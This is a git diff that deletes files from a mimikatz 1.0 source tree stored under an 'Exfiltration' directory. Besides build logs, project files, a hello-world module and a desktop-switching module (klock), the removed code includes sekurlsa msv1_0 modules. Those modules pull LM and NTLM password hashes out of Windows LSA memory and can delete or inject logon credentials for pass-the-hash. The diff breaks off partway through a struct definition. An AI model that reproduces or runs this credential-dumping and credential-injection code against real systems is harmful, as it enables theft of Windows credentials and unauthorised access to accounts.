diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog
deleted file mode 100644
index 30d54de..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp
deleted file mode 100644
index d49a183..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp
+++ /dev/null
@@ -1,12 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "kelloworld.h"
-
-__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments)
-{
- MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK);
- return true;
-}
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h
deleted file mode 100644
index daa8973..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "kmodel.h"
-
-__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments);
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc
deleted file mode 100644
index 312b232..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj
deleted file mode 100644
index b0b3674..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj
+++ /dev/null
@@ -1,121 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}
- Win32Proj
- kelloworld
-
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
-
-
-
-
-
-
-
-
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- true
- true
- user32.lib
- NoErrorReport
-
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- true
- true
- user32.lib
- NoErrorReport
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters
deleted file mode 100644
index 4271331..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
-
-
- {78bbda7e-d41f-4f1c-8aab-9b9471b30a56}
-
-
- {314aff70-fe34-4afa-9341-0ad0a9a9a735}
-
-
- {86a68fa7-1f11-48c7-9821-f5c8bf8b6724}
-
-
- {7790e784-5bb7-405d-8bc7-0a3f5351245b}
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog
deleted file mode 100644
index bcd26b3..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog
deleted file mode 100644
index 73eaec6..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog
deleted file mode 100644
index 5cef6b9..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest
deleted file mode 100644
index ecea6f7..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-
-
-
-
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate
deleted file mode 100644
index 4d28193..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#v4.0:v100
-Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res
deleted file mode 100644
index 3104953..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog
deleted file mode 100644
index 3cfbe7b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog
+++ /dev/null
@@ -1,5 +0,0 @@
-^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\klock\klock.vcxproj
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog
deleted file mode 100644
index 966e3ca..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog
deleted file mode 100644
index 118ff20..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog
deleted file mode 100644
index ed695be..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog
deleted file mode 100644
index 96b5f5a..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog
deleted file mode 100644
index 6e3ab6c..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog
deleted file mode 100644
index df7edcc..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog
deleted file mode 100644
index 055dfdc..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog
deleted file mode 100644
index ee2aaa1..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog
deleted file mode 100644
index a07a6d6..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp
deleted file mode 100644
index 9717c49..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp
+++ /dev/null
@@ -1,97 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "klock.h"
-
-__kextdll bool __cdecl getDescription(wstring * maDescription)
-{
- maDescription->assign(L"kLock : librairie de manipulation des bureaux");
- return true;
-}
-
-bool getNameOfDesktop(HDESK desktop, wstring &bureau)
-{
- bool resultat = false;
-
- wchar_t * monBuffer;
- DWORD tailleRequise = 0;
-
- if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0))
- {
- monBuffer = new wchar_t[tailleRequise];
- if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0))
- {
- bureau.assign(monBuffer);
- }
- delete[] monBuffer;
- }
- return resultat;
-}
-
-__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments)
-{
- wstringstream maReponse;
- wstring source, cible, monBureau;
- bool modeFullAuto = true;
-
- if(mesArguments->size() == 2)
- {
- modeFullAuto = false;
- source = mesArguments->front();
- cible = mesArguments->back();
- }
-
- if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP))
- {
- if(getNameOfDesktop(hOriginalDesktop, monBureau))
- {
- maReponse << L"Bureau courant : " << monBureau << endl;
-
- if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto)
- {
- if(modeFullAuto)
- cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default";
-
- maReponse << L"Bureau cible : " << cible << endl;
-
- if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP))
- {
- if (SwitchDesktop(hNewDesktop))
- maReponse << L"Switch du bureau russi !";
- else
- maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError();
- maReponse << endl;
- CloseDesktop(hNewDesktop);
- }
- else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError();
- }
- else if(!modeFullAuto)
- maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqu (" << source << L")" << endl;
- }
- else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl;
-
- CloseDesktop(hOriginalDesktop);
- }
- else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl;
-
- return sendTo(monPipe, maReponse.str());
-}
-
-__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments)
-{
- wstringstream maReponse;
- wstring monBureau;
-
- if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ))
- {
- if(getNameOfDesktop(hDesktop, monBureau))
- maReponse << L"Bureau courant : " << monBureau << endl;
- else
- maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl;
-
- CloseDesktop(hDesktop);
- }
- return sendTo(monPipe, maReponse.str());
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h
deleted file mode 100644
index e6ea046..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h
+++ /dev/null
@@ -1,14 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "kmodel.h"
-#include "mod_system.h"
-
-__kextdll bool __cdecl getDescription(wstring * maDescription);
-
-bool getNameOfDesktop(HDESK desktop, wstring &bureau);
-__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc
deleted file mode 100644
index 28599d2..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj
deleted file mode 100644
index a93a79d..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj
+++ /dev/null
@@ -1,131 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {6556249E-1C80-4047-A863-F608C8B8AC55}
- Win32Proj
- klock
-
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
-
-
-
-
-
-
-
-
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- user32.lib;shlwapi.lib;secur32.lib
- NoErrorReport
-
-
- 0x040c
-
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- user32.lib;shlwapi.lib;secur32.lib
- NoErrorReport
-
-
- 0x040c
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters
deleted file mode 100644
index cc5f342..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters
+++ /dev/null
@@ -1,53 +0,0 @@
-
-
-
-
- {255a8a01-9f58-4a47-9d1e-1d5fc9f16419}
-
-
- {d6070dc8-7a9b-46c0-b75a-5fd6c10f8613}
-
-
- {01639990-b135-46fe-8511-84761977c1bf}
-
-
- {fa3fed71-2d05-4e39-a46b-59e9b2c83e04}
-
-
- {e53f7390-cd26-41d0-9f10-ea350fc88e43}
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
-
- Modules Communs\System
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
-
- Modules Communs\System
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp
deleted file mode 100644
index b429e5a..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp
+++ /dev/null
@@ -1,153 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "msv1_0.h"
-
-bool searchMSVFuncs()
-{
- if(!MSV1_0_MspAuthenticationPackageId)
- MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3;
- return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0));
-}
-
-bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
-{
- wostringstream maReponse;
- if(searchMSVFuncs())
- {
- unsigned short reservedSize = 0;
- PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL;
- if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize)))
- {
- wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword));
- wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword));
-
- if(justSecurity)
- maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
- else
- {
- maReponse << endl <<
- L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl <<
- L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl <<
- L"\t * Hash LM : " << lmHash << endl <<
- L"\t * Hash NTLM : " << ntHash;
- }
- SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds);
- }
- else maReponse << L"n.t. (LUID KO)";
- }
- else maReponse << L"n.a. (msv KO)";
-
- return sendTo(monPipe, maReponse.str());
-}
-
-__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0")));
- return getLogonData(monPipe, mesArguments, &monProvider);
-}
-
-__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream maReponse;
- if(searchMSVFuncs())
- {
- if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2)
- {
- wstring idSecAppHigh = L"0";
- wstring idSecAppLow = mesArguments->front();
- if(mesArguments->size() > 1)
- {
- idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back();
- }
-
- LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow);
- if(idApp.LowPart != 0 || idApp.HighPart != 0)
- maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des donnes de scurit russie :)" : L"Suppression des donnes de scurit en chec :(");
- else maReponse << L"LUID incorrect !";
- }
- else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow";
- }
- else maReponse << L"n.a. (msv KO)";
-
- maReponse << endl;
- return sendTo(monPipe, maReponse.str());
-}
-
-__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream maReponse;
- if(searchMSVFuncs())
- {
- if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6)
- {
- MSV1_0_PRIMARY_CREDENTIAL kiwicreds;
- RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL));
-
- wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back();
- kiwicreds.LmPasswordPresent = FALSE;
- kiwicreds.NtPasswordPresent = TRUE;
-
- switch(mesArguments->size()) // mchants arguments utilisateurs
- {
- case 4:
- idSecAppLow = mesArguments->front();
- userName = mesArguments->at(1);
- domainName = mesArguments->at(2);
- break;
- case 6:
- idSecAppHigh = mesArguments->front();
- idSecAppLow = mesArguments->at(1);
- userName = mesArguments->at(2);
- domainName = mesArguments->at(3);
- kiwicreds.LmPasswordPresent = TRUE;
- lmHash = mesArguments->at(4);
- break;
- case 5:
- if(mesArguments->at(3).size() == 0x20)
- {
- idSecAppLow = mesArguments->front();
- userName = mesArguments->at(1);
- domainName = mesArguments->at(2);
- kiwicreds.LmPasswordPresent = TRUE;
- lmHash = mesArguments->at(3);
- }
- else
- {
- idSecAppHigh = mesArguments->front();
- idSecAppLow = mesArguments->at(1);
- userName = mesArguments->at(2);
- domainName = mesArguments->at(3);
- }
- break;
- }
-
- LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow);
-
- if(idApp.LowPart != 0 || idApp.HighPart != 0)
- {
- if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN)
- {
- mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName);
- mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine);
- if(kiwicreds.LmPasswordPresent)
- mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword);
- mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword);
-
- maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de donnes de scurit russie :)" : L"Injection de donnes de scurit en chec :(");
- }
- else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractres, le nom d\'utilisateur et le domaine/poste au maximum 22 caractres";
- }
- else maReponse << L"LUID incorrect !";
- }
- else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM";
- }
- else maReponse << L"n.a. (msv KO)";
-
- maReponse << endl;
- return sendTo(monPipe, maReponse.str());
-}
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h
deleted file mode 100644
index 4749573..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h
+++ /dev/null
@@ -1,16 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../sekurlsa.h"
-#include "msv1_0_helper.h"
-
-bool searchMSVFuncs();
-bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
-
-__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp
deleted file mode 100644
index 7ccb8e5..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "msv1_0_helper.h"
-DWORD MSV1_0_MspAuthenticationPackageId = 0;
-
-void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
-{
- if(String->Buffer)
- String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress)));
-}
-
-NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize)
-{
- STRING PrimaryKeyValue, CredentialString;
- mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY);
-
- NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName);
- NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName);
- CredentialString.Buffer = reinterpret_cast(Credential);
- CredentialString.MaximumLength = CredentialString.Length = CredentialSize;
- SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length);
- return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString );
-}
-
-NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize)
-{
- ULONG QueryContext = 0, PrimaryKeyLength;
- STRING PrimaryKeyValue, CredentialString;
- mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY);
-
- NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString);
- if(NT_SUCCESS(retour))
- {
- SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length);
- *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer;
- NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false);
- NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false);
- if (CredentialSize)
- *CredentialSize = CredentialString.Length;
- }
- return retour;
-}
-
-NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId)
-{
- STRING PrimaryKeyValue;
- mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY);
- return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue);
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h
deleted file mode 100644
index e9afd03..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../sekurlsa.h"
-
-#define MSV1_0_PRIMARY_KEY "Primary"
-extern DWORD MSV1_0_MspAuthenticationPackageId;
-
-typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
